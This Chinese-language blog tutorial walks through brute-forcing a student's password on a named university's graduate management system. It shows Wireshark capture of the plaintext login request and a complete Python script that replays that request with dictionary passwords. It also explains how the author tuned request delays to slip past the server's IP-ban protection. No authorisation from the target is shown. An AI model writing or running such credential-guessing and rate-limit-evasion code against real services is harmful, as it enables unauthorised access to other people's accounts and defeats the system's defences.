前言
如果你是在校大学生,而且还对网络攻防比较感兴趣的话,相信你最开始尝试渗透的莫过于所在院校的学生管理系统。因为一般来说这样的系统往往比较薄弱,拿来练手那是再合适不过的了。作为本系列的第一篇文章,我将会利用暴力破解的方式,尝试对某高校的研究生管理系统的学生密码进行破解。由于这个管理系统的网站属于该高校的内网资源,外网是无法访问的,因此大家就不要尝试按照文中的内容来对文中出现的网址进行访问了。利用本文所论述的暴力破解思想,可以帮助大家更好地认识我们的网络,也有助于了解目标网站是否安全。那么在这里需要再三强调的是,文中所提内容仅作技术交流之用,请不要拿它来做坏事。
登录的基本原理
相信不管是哪个院校的管理系统,都必然会有一个登陆界面,用于输入学号以及密码。只有在二者全都正确的前提下,才能够成功地登录,否则就登录失败。本文所研究的学生管理系统也不例外,其界面如下所示:
不知道大家有没有想过,当我们将用户ID和密码填写进相应的位置,然后登录这个学生管理系统时,系统做了什么呢?尽管我并没有深入研究过目标系统的实现机制,但是一般来说,界面会将用户ID和密码这两个信息发送到服务器,然后服务器就可以在数据库中匹配二者是否存在以及二者是否为对应的关系。如果用户ID和密码有效,服务器就会发回一个用于表示验证成功的数据包,从而允许用户进入管理系统;如果匹配失败,服务器也会发送用于表示登录失败的数据包,拒绝用户的登录请求,并给出相应的提示。
可见,这个原理还是非常简单的。那么我们需要做的就是弄清楚在登陆的时候,系统究竟是发送了什么样的数据包到服务器,并且还需要知道服务器对于登录成功和失败这两种情况,分别会回复怎样的数据包。那么只要能够确定这一来一回的数据内容,我们就有可能利用暴力破解的方式解析出某个用户名所对应的密码了。
登录数据包的分析
为了获取系统所收发的数据包,那么就必然需要使用网络分析工具。这里我所使用的是 Wireshark这款工具,它是目前最为流行的网络数据包分析软件。首先来到研究生登录界面,输入用户ID以及密码,先不进行登录,开启Wireshark的监控功能,最后再单击“登录”按钮。可以发现,此时Wireshark会捕获到非常多的数据包,但是其实其中的绝大部分是与我们的登录无关的,因此这里需要利用筛选器来筛选出我们需要的数据包。比如可以在筛选条件中输入:ip.addr==172.21.96.120,这样就只会剩下与IP地址为172.21.96.120相关的数据包了,从而便于我们接下来的分析。这个IP地址其实就是我们所研究的目标系统的IP地址。或者也可以在纯净的虚拟机中进行登录,然后在宿主计算机中开启Wireshark对虚拟机进行监控,那么这样所捕获到的数据包基本上都是与登录相关的了,无需再次进行筛选。下图就是我利用虚拟机登录所捕获到的数据包:
这里我们主要留意红框中的内容,首先第一个红框中的三个数据包,表示TCP连接时的三次握手的过程,通过这个就可以确认,连接已经建立,就可以与目标主机进行下一步的操作了。而第二个红框中的内容则是一个POST请求,是由我方发出的,并需要由远端的服务器进行处理。其实也就是当点击了“登录”按钮后,发送到服务器的一个最为重要的数据包,是我们关注的重点。接下来我们来详细分析一下这个数据包的内容,在这个数据包上单击鼠标右键,选择“追踪流”->”TCP流”,那么就可以打开“追踪TCP流”对话框:
这里需要说明的是,红色字体部分是我方发往服务器端的数据包的内容,也就是一个POST请求,而蓝色字体部分是服务器的回复。查看一下红色字体部分,可以看到最后一行以明文的形式出现了登录的用户名(USER)以及密码(PASSWORD),那么很明显,这里是该管理系统的一个安全隐患。
由于这次的登录,我们的用户ID以及密码是正确的,于是就回复了上述内容,那么如果输入错误,会返回什么样的数据包呢,这里不妨抓包分析一下:
首先,二者的红色字体部分是完全一致的,但是蓝色字体部分则出现了显著的差别。对比就可以知道,如果登录成功,那么返回的数据包中会包含有Location,也就是重定向字段,说明用户ID以及密码验证成功,允许用户访问Location后面的网址,而该网址正是管理系统的真身。因此,我们在接下来的编程中,只要判定返回的数据包中是否包含有Location这个字符串,那么就可以知道登录是否成功了。
那么在登录失败的时候,返回的数据包(上图中的蓝色字体内容)表示的是什么呢?不妨看一下在登录失败的时候,浏览器中显示的网页的情况:
可以看到,这里显示的依旧是登陆界面,不同的是在界面的下方显示出登录失败的提示。如果说查看这个网页的代码,就会发现网页的代码与在Wireshark中通过抓包返回的内容是一致的。
可以总结一下,为了实现暴力破解,我们可以尝试不断地向服务器发送红色字体的POST数据包,其中USER的内容就是想要破解的学号信息,而PASSWORD的内容则是密码。如果说大家想批量学号进行破解,那么可以将想要破解的学号保存在一个文件里面。但是这里我为了简单起见,只尝试破解一个学号,因此这个学号的内容就直接填写到想要发送的数据包里面。而PASSWORD部分则需要利用密码字典,将密码保存在文件中,然后程序需要不断地按序提取密码,填写到数据包里面发送。如果收到的回复里面并不包含有Location,则继续发送数据包,直至找到密码为止,最后再将密码显示出来。那么之后的编程,就会依据这个思想进行。
程序的编写
为了简单起见,这里我使用Python来编写程序,完整的程序如下:
# -*- coding: utf-8 -*- import socket import time # 待发送的数据包,注意这里的PASSWORD为空 strPost = "POST /bgdadmin/servlet/studentLogin HTTP/1.1\r\n" "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n" "Referer: http://yjsgl.bjut.edu.cn/bgdadmin/servlet/studentMain\r\n" "Accept-Language: zh-cn\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Accept-Encoding: gzip, deflate\r\n" "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n" "Host: yjsgl.bjut.edu.cn\r\n" "Content-Length: 47\r\n" "Connection: Keep-Alive\r\n" "Cache-Control: no-cache\r\n" "Cookie: JSESSIONID=DgxvXnRhLdSn65nfkyXv4wGXr8xQWb4Vmhkq7GfdhRz3LpdwJ4WC!-611812863\r\n\r\n" "TYPE=AUTH&glnj=&USER=xxxxxxxxxx&PASSWORD=" i = 0 # 目标服务器的IP地址以及想要连接的端口 target_host = ‘172.21.96.120‘ target_port = 80 # 打开字典文件并逐行读取 for password in open(‘C:\\superdic.txt‘): # 如果已经验证了100个密码,则休息30秒,并将计数器清零 i = i + 1 if i > 100: time.sleep(30) i = 0 # 建立一个socket对象 client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 连接客户端 client.connect((target_host, target_port)) # 组成最终的数据包 strPacket = strPost + password # 发送数据包 client.send(strPacket) # 接收返回的数据包 response = client.recv(1024) # 每验证完一条密码就休息0.3秒 time.sleep(0.3) # 查找返回的数据包中是否包含有Location字段 if response.find(‘Location‘) != -1: # 如果包含有Location字段,则把密码打印出来 print password # 找到正确的密码就跳出循环 break
由于Python写的程序本身就很通俗易懂,因此这里并不需要对程序作过多的解释。但是有几个问题需要说明一下:
1、如果说想要在程序中使用中文的注释,那么就必须要加入# -*- coding: utf-8 -*-,也就是上述程序中的第一行内容。
2、待发送的数据包其实就是直接在Wireshark的“追踪TCP流”对话框中直接拷贝过来的(红色字体部分)。这里需要强调的是,每一行的末尾都有一对甚至两对“\r\n”。这是因为标准的HTTP数据包中,就是以“\r\n”作为一行的结尾的。在Wireshark中的数据窗口可以很明显地看到(“\r\n”的ASCII码是0x0d和0x0a):
因此大家在实际的分析过程中,一定要看清楚每一行的末尾究竟有多少个“\r\n”。这些细节如果不重视的话,很可能就得不到想要返回的数据包了。
3、程序中有一个for循环,这个循环只有在找到正确的密码,或者验证完密码字典中的所有密码,依旧没找到正确密码的情况下,才会退出。每次执行这个for循环,都会重新建立TCP连接,然后再发送测试的数据包。这里需要注意的是,不能只建立一次TCP连接,然后不断地向目标服务器发送测试数据包。因为这样的话,从第二个测试数据包开始,服务器所返回的数据包就是未知的了。我们最开始通过Wireshark抓包测试时的流程就是先建立TCP连接,然后再发送一个测试数据包,而不是在建立连接后,不断地发送数据包。所以在程序的编写时,一定要注意究竟应该把TCP连接的建立代码放在什么位置,以避免出错。
4、程序中的用户名(USER)已经被我隐去,使用了十个x取代。而密码(PASSWORD)是六位的数字。那么为了生成密码字典,我这里使用的是superdic这款软件,它可以帮助我们很轻松地生成各种各样的密码字典。通过设置基本字符(0~9)以及密码位数(6位),就可以得到一个包含有密码的txt文件,在这个文件中,一行保存有一个密码。那么在我的测试中,我将这个密码字典放在了C盘的根目录中。程序在执行的时候,就会打开这个密码文件,逐行读取密码,组成数据包不断地发送进行测试。
程序的测试
暴力破解其实是一种最简单的测试方式,以了解目标网站是否安全。那么对于这次所研究的管理系统而言,其实还是采取了一些措施来对抗暴力破解的。为什么这么说呢?其实上述程序是在我经过多次的尝试之后才最终确定的。我在解释上述程序时,并没有讲解为什么要调用两次sleep语句,因为这与目标网站的自我保护机制相关。
其实最开始我是没有加入sleep语句的,那么在程序运行后,在不断地发包进行暴力破解的时候,我发现过不了多久,程序就会提示出错,意思是在建立连接的时候出现了问题:
这个时候如果利用Wireshark进行抓包,就会得到以下内容:
这些数据包是以黑色作为底色显示的,说明它们是不正常的数据包。可以看到,前六个数据包不断地尝试利用本机的7527到7532号端口来与目标主机建立TCP的SYN连接,也就是TCP连接的第一次握手。但是本机迟迟没有收到由目标计算机发回来的确认数据包,于是接下来的12个数据包其实就是针对于前六个数据包的重传(TCP Retransmission),每个数据包都会重传两次,最终依旧没有收到回复,才会放弃连接。那么其实这也就解释了为什么Python程序会返回连接不成功的错误,远程服务器迟迟不予回复,那么自然后面的测试数据包也就不会发送了。说明这是远程服务器采取的一种自我保护的措施,一旦发现有人尝试利用暴力破解,那么在接收一定数量的数据包之后,就会拒绝对攻击者进行回复了。我认为服务器应该是将攻击者的IP地址加入了黑名单。经过实际测试可以知道,IP地址会被封锁1个小时。
那么接下来就需要弄清楚究竟在一定的时间内,发送多少个数据包才是安全的,或者数据包与数据包之间的安全时间间隔是多少。关于这个问题,大家可以根据自己的实际情况,抓包分析,看看究竟是在经过了多少个数据包之后,远程服务器才会拒绝请求。那么针对于我当前所研究的网站而言,通过不断的测试,我这里将数据包与数据包之间的发送间隔设定为0.3秒(程序的第二个sleep语句),并且每发送100个数据包,则休息30秒(程序的第一个sleep语句),在这种情况下,进行大量的测试数据包的发送,就不会出现封锁IP的情况了。
最后不妨计算一下,在最坏的情况下,破解一个用户的密码需要多长时间。首先,六位纯数字的密码,一共会有1000000种组合的可能性。由于每发送100个数据包就需要休息30秒,那么一共就需要休息30*(1000000/100)也就是300000秒。从发送第一个连接数据包到收到验证成功或者失败的回复,由于受限于网络的情况,因此并不固定,这里不妨假设是0.1秒,而数据包与数据包之间的间隔是0.3秒,也就是说每个数据包还需要0.3+0.1也就是0.4秒的时间,0.4*1000000则是400000秒,这样就可以知道,为了破解一个用户的密码,需要700000秒,也就大概是8.1天。那么也就说明了,该研究生管理系统在应对暴力破解方面,其实还是采取了比较好的策略的。
总结
通过暴力破解的测试,我们可以了解到目标网站的安全机制究竟怎样。尽管很多时候,暴力破解是没有办法的办法,有时也是比较常用的方法。如何应对暴力破解,究竟应当采取怎样的规则策略,也是见仁见智。可以看到,在密码只有6位纯数字的情况下,最坏情况还需要8.1天才能够成功实现破解,这也就说明了,如果采取数字与字母组合,加大密码位数,对于安全的重要性是不言而喻的。当然了,毕竟暴力破解是一种比较低端的做法,未来我还会讨论更多的方式实现网络的渗透与破解。毕竟网络安全知识是一把双刃剑,安全人员也是必须要掌握黑客可能会使用的技术,从而针对这些技术实施安全防御的。